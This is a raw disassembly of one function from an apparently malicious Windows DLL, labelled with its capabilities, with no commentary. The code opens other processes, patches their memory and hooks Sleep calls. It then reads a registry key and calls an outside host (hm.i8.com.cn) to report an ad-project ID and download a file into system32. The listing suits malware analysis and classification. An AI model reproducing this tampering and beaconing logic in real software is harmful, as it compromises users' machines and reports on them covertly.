Function at 0x10001680
Capabilities:
Download url
Enumerate processes
Query or enumerate registry value
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x270
push ebx
push ebp
mov al, 0x90
push esi
push edi
push 0
push 2
mov byte [esp + 0x34], al
mov byte [esp + 0x35], al
mov byte [esp + 0x36], al
mov byte [esp + 0x37], al
mov byte [esp + 0x38], al
mov byte [esp + 0x39], al
mov byte [esp + 0x28], 0x6a
mov byte [esp + 0x29], 0xff
mov byte [esp + 0x2a], 0xe8
mov byte [esp + 0x2b], 0x4f
mov byte [esp + 0x2c], 0x81
mov byte [esp + 0x2d], 0xb2
mov byte [esp + 0x2e], 0x7a
mov byte [esp + 0x2f], al
mov byte [esp + 0x30], al
mov byte [esp + 0x31], al
mov byte [esp + 0x32], al
mov dword [esp + 0x24], 0
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x34], ebx
je 0x10001a78
xor eax, eax
mov ecx, 0x4a
lea edi, [esp + 0x50]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x50]
push eax
push ebx
mov dword [esp + 0x58], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10001a71
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea ebx, [ebx]
lea ecx, [esp + 0x74]
push str.ids.exe
push ecx
call fcn.10002208
add esp, 8
test eax, eax
jne 0x1000182d
mov edx, dword [esp + 0x58]
push edx
push eax
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x100019a1
mov edi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [esp + 0x18]
push eax
push 4
lea ecx, [esp + 0x1c]
push ecx
push 0x401b00
push esi
call edi
cmp dword [esp + 0x14], 0xec8b55f9
jne 0x100017ad
lea edx, [esp + 0x18]
push edx
push 4
lea eax, [esp + 0x1c]
push eax
push 0x401b00
push esi
mov dword [esp + 0x30], 1
mov dword [esp + 0x28], 0xec8bc3f9
call ebp
lea ecx, [esp + 0x18]
push ecx
push 4
lea edx, [esp + 0x1c]
push edx
push 0x404ac8
push esi
call edi
cmp dword [esp + 0x14], 0xec815500
jne 0x100017e7
lea eax, [esp + 0x18]
push eax
push 4
lea ecx, [esp + 0x1c]
push ecx
push 0x404ac8
push esi
mov dword [esp + 0x28], 0xec81c300
call ebp
lea edx, [esp + 0x18]
push edx
push 4
lea eax, [esp + 0x1c]
push eax
push 0x4044fc
push esi
call edi
cmp dword [esp + 0x14], 0xec8155
jne 0x10001821
lea ecx, [esp + 0x18]
push ecx
push 4
lea edx, [esp + 0x1c]
push edx
push 0x4044fc
push esi
mov dword [esp + 0x28], 0xec81c3
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100019a1
lea eax, [esp + 0x74]
push str.runme.exe
push eax
call fcn.10002208
add esp, 8
test eax, eax
jne 0x100019a1
mov ecx, dword [esp + 0x58]
push ecx
push eax
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x100019a1
mov edx, dword [esp + 0x58]
push str.mfcmscr.dll
push edx
call fcn.100015e0
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x10001996
lea eax, [esp + 0x18]
push eax
push 4
lea ecx, [esp + 0x1c]
push ecx
lea edi, [ebx + 0x198b3]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp dword [esp + 0x14], 0xff67840f
jne 0x100018b2
lea edx, [esp + 0x18]
push edx
push 6
lea eax, [esp + 0x34]
push eax
push edi
push esi
call ebp
lea ecx, [esp + 0x18]
push ecx
push 4
lea edx, [esp + 0x1c]
push edx
lea edi, [ebx + 0x1a2f0]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp dword [esp + 0x14], 0xba0ec81
jne 0x1000190a
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.Sleep
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xfffffff9
sub ecx, edi
add eax, ecx
lea edx, [esp + 0x18]
push edx
push 0xb
mov dword [esp + 0x2b], eax
lea eax, [esp + 0x28]
push eax
push edi
push esi
call ebp
lea ecx, [esp + 0x18]
push ecx
push 4
lea edx, [esp + 0x1c]
push edx
lea edi, [ebx + 0x1a633]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp dword [esp + 0x14], 0xff67840f
jne 0x1000193e
lea eax, [esp + 0x18]
push eax
push 6
lea ecx, [esp + 0x34]
push ecx
push edi
push esi
call ebp
lea edx, [esp + 0x18]
push edx
push 4
lea eax, [esp + 0x1c]
push eax
lea edi, [ebx + 0x1bae0]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp dword [esp + 0x14], 0xbc8ec81
jne 0x10001996
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.Sleep
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xfffffff9
sub ecx, edi
add eax, ecx
lea edx, [esp + 0x18]
push edx
push 0xb
mov dword [esp + 0x2b], eax
lea eax, [esp + 0x28]
push eax
push edi
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0x34]
lea ecx, [esp + 0x50]
push ecx
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10001730
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x10001a71
lea edx, [esp + 0x1c]
push edx
push 0xf003f
push 0
push str.Softwaregoyooi8desk
push 0x80000002
mov byte [esp + 0x50], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001a11
lea eax, [esp + 0x34]
push eax
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x40]
push ecx
lea edx, [esp + 0x40]
push edx
push 0
push 0x10008248
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x12
mov esi, str.http:__hm.i8.com.cn_Interface_ExecuteReport.aspx_ADProjectID10003nid
lea edi, [esp + 0x178]
lea eax, [esp + 0x3c]
rep movsd dword es:[edi], dword [esi]
mov edx, eax
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001a30
lea edi, [esp + 0x178]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10001a41
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push str.c:windows_system321.txt
lea edx, [esp + 0x184]
mov ecx, eax
push edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call sub.urlmon.dll_URLDownloadToFileA
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret